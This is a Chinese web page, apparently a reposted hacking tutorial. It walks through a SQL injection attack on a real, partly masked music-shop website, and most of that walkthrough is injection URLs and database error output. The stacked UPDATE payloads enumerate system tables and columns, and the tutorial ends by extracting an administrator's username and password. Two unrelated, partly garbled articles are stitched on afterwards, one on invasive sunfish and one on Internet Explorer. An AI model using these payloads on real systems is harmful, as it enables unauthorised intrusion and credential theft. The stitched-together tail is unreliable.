入侵系列:SQLInjection的深入探讨

【菜科解读】
SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。
一、发现漏洞,常规注入 最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:
Microsoft OLE DB Provider for sql server 错误 80040e14 字符串 之前有未闭合的引号。
/showspecial.asp,行13 Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤: 1、提交http://********/showspecial.asp?Specialid=1817;use master;-- 注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by.. 出现Microsoft OLE DB Provider for SQL Server 错误 80040e21 多步 OLE DB 操作产生错误。
如果可能,请检查每个 OLE DB 状态值。
没有工作被完成。
/showspecial.asp,行13 想在他的数据库里增加一个管理员是不可能了,我们再换一种方法 2、提交http://********/showspecial.asp?Specialid=1817 and 1(select count(id) from [user]) 这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段 一般来说: 如果不存在该表的话,会出现Microsoft OLE DB Provider for SQL Server 错误 80040e37 对象名 user 无效。
/showspecial.asp,行13 不存在该字段的话,会出现Microsoft OLE DB Provider for SQL Server 错误 80040e14 列名 id 无效。
/showspecial.asp,行13 注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如 很幸运,果然存在user表和id字段 3、通过提交http://********/showspecial.asp?Specialid=1817 and 1(select count(username) from [user]) 这里的username是根据登陆框的表单名去猜的,恰好存在该字段。
于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534 4、继续猜下去,这里我还是利用的他程序中的表单名,提交:http://********/showspecial.asp?Specialid=1817 and 1(select count(email) from [user]) 也存在,好了,到这里,我们的平台已经搭建好了。
二、深入研究,让SQL自己招数据库结构 很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 admin 无效。
大家可以看到上面出现的报错把表名描述成对象)。
我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助): name 数据表的名字 xtype 数据表的类型 u为用户表 id 数据表的对象标志 status 保留字段,用户表一般都是大于0的 在查询分析器执行以下SQL语句(以我本地的数据库为例子)select top 1 name from sysobjects where xtype=u and status>0 我们马上就可以得到该数据库下用户表的第一个表名galleryselect top 1 id from sysobjects where xtype=u and name=gallery 我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048select top 1 name from sysobjects where xtype=u and id>2099048 再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。
以此类推,我们可以得到所有的用户表的名字了 接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):select top 1 col_name(object_id(gallery),1) from gallery 得到gallery表的第一个字段名为id。
注: col_name()的语法 COL_NAME ( table_id , column_id ) 参数 table_id:包含数据库列的表的标识号。
table_id 属于 int 类型。
column_id:列的标识号。
column_id 参数属于 int 类型。
其中我们用object_id()函数来得到该表的标识号,1、2、3。
。
表示该表的第1个、第2个、第3个。
。
字段的标识号 以此类推得到该表所有的字段名称 三、再次渗透攻击 经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了 依然是那个页,我们提交http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- 服务器返回ADODB.Recordset 错误 800a0cb3 当前记录集不支持更新。
这可能是提供程序的限制,也可能是选定锁定类型的限制。
/showspecial.asp,行19 出师不利,可能该页记录集打开方式是只读,我们再换一个页 找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- 把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuserhttp://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;-- 得到第一个表lmuser的id标识号为:363148339http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;-- 得到第二个表名为:ad。
这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取 (由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。
好,接下来我们就取该表的字段名http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;-- 得到第1个字段为:id http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;-- 得到第2个字段为:username http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;-- 得到第2个字段为:password 到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。
我们拿到的id值是44http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;-- 将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;-- 将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ 怎么样,拿到密码了吧? 四、总结
在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!
入侵,系列,SQLInjection,的,深入,探讨,SQL太阳鱼?凶恶入侵物种称霸整个水域
而太阳鱼就曾一次又一次的成为入侵的外来物种,霸占整片水域最后导致政府下令将太阳鱼吃光一、太阳鱼(美丽绚烂)太阳鱼,淡水鱼类,原产于美国南部及墨西哥北部的淡水水域中,美洲中南部。
成鱼体长24-40公分。
大多数太阳鱼都拥有格外出众的色彩,而美丽的太阳鱼种类中最为夺目的种类就是这一款被称为嫦娥的种类,其闪烁着耀眼的金属蓝色调的鱼身上布满了桔色的斑纹,眩目而美丽的眼睛后端有一双宛如耳状的花纹,这是它们明显的标志。
而就是这种美丽的太阳鱼,却一次又一次的成为了凶恶的入侵物种。
让很多渔民没有办法,虽然太阳鱼十分美味,但由于太过泛滥,捕都捕不完,好几次让人十分无奈。
二、太阳鱼凶恶入侵安庆师范学院的万安、张晓可两位博士进行淠河流域水域生态系统健康评估,在大别山野外调查及研究期间,意外发现一种外貌酷似鲫鱼的鱼种。
当时以为xMbdsP只是偶然发现,但是沿着河流一直往下捕鱼调查,发现全是这种鱼。
村民称,最近两年,家里的鱼塘早已经被这种鱼占领,以前养的鱼都已经被这种鱼吃了。
经核实,这种鱼就是太阳鱼的一个品种。
在日本也发生过太阳鱼太过泛滥的问题,日本志贺县官员展开钓鱼、吃鱼活动,鼓励人们钓到太阳鱼后不要放生,而是把它们吃掉。
志贺县官方网站上还介绍如何将太阳鱼切片,还有炸鱼食谱等食用指南。
当地水产官员桑村邦彦说:这种鱼很好吃。
一家私人公司还推出了太阳鱼寿司。
太阳鱼由日本明仁天皇50年前从美国引进。
1960年,还是皇太子的他访问美国,芝加哥市长向他赠送太阳鱼作为礼物。
这种鱼在美国是一种普通的可食用鱼类,还是伊利诺伊州的州鱼。
品尝之后,他发现这种鱼味道鲜美,便在回国后转送给日本一个渔业研究所,希望能够繁育成功,为日本民众增加食物,为餐桌上增添新的美味。
后来却没想到泛滥成灾。
太阳鱼闪烁着耀眼的金属蓝色调的鱼身上布满了桔色的斑纹,眩目而美丽的眼睛后端有一双宛如耳状的花纹,这是它们明显的标志。
总种类约有30种,属于多次性产卵的鱼类。
主食浮游动物及水生昆虫,也吃水生植物、小杂鱼和小型软体动物。
ie系列浏览器是指什么?手机哪个浏览器有兼容模式
首先,我们先来了解一下什么是chrome浏览器。
简单来说,chrome就是谷歌旗下的一款免费网页浏览器,,其功能非常强大,不仅支持多种语言,而且还可以通过chrome浏览器进行文件传输。
那么,为什么要使用chrome浏览器呢?下面我们就来详细了解一。
首先,我们需要知道的是,目前市面上的手机浏览器大多都是基于安卓系统开发的,所以在使用过程中难免会出现一些问题。
一:手机ie浏览器网页登录入口移动端的浏览器目前主要都是Webkit内核,也就可以大概理解为和电脑上的谷歌浏览器一个意思,安卓与iOS手机里面绝大多数浏览器都是如此。
Internet Explorer(旧称:Microsoft Internet Explorer、Windows Internet Explorer,简称IE或MSIE)是微软公司推出的一款。
网页浏览器。
,曾是使用最广泛的网页浏览器之一。
[1]自从1995年开始,它被内置在各个新版本的Windows作业系统作为默认浏览器,也是微软。
目前常见的手机(安卓系统、IOS系统)不支持IE浏览器的。
二:ie11浏览器是什么浏览器说起微软的IE浏览器对于消费者而言又爱又恨,但现在它的命运已经明确了,随着用户使用量越来越少,该浏览器将宣告寿终正寝。
目前有用户想微软提出了一个问题:“IE是不是浏览器?”该问题得到了微软的回应,其正式回应已经不是了。
而且微软网络安全全球主管克里斯·杰克逊还倡议企业客户尽快升级新的微软Edge浏览器,真的不希望企业客户继续使用IE。
这无疑让古老的IE浏览器在微软体系里开始被疏远。
微软负责人还警告企业客户,如果继续使用IE浏览器,将会承担一些“技术债务”。
这就包括安全漏洞、兼容问题、软件古老等。
而且企业也将会承担一些维护费用,微软认为这些企业应该停止这种行为。
事实上,IE浏览器过去一直被诟病。
尤其是对于开发者而言,IE就是噩梦。
由于老旧的IE浏览器不支持大量Web新标准和技术,严重束缚了开发者手脚,也阻碍了Web发展。
随着谷歌Chrome浏览器等替代品的崛起,IE越来越不受用户和开发者的青睐,也因此逐渐失去了网络浏览器市场越来越大的份额。
如果按照现代标准来看,IE甚至都不能称之为是一款浏览器。
尤其是用过其他浏览器的用户,人们都在笑话IE。
甚至奔出一句话那就是“IE是IE已死,有事烧纸。
如今微软宣布全新的MicrosoftEdge替代IE,同时这也是微软应对惨烈市场竞争的无奈之举。
不过好景不长,此前刚刚不久,微软就宣布他们将使用谷歌Chromium核心作为Edge浏览器新的Web渲染引擎。
根据微软消息显示,微软将在2020年1月结束对Internet Explorer 10的支持,而IE11将作为该软件的最后一次迭代。
三:ie6.0浏览器手机版1、手机上不可以用IE6.0以上的浏览器。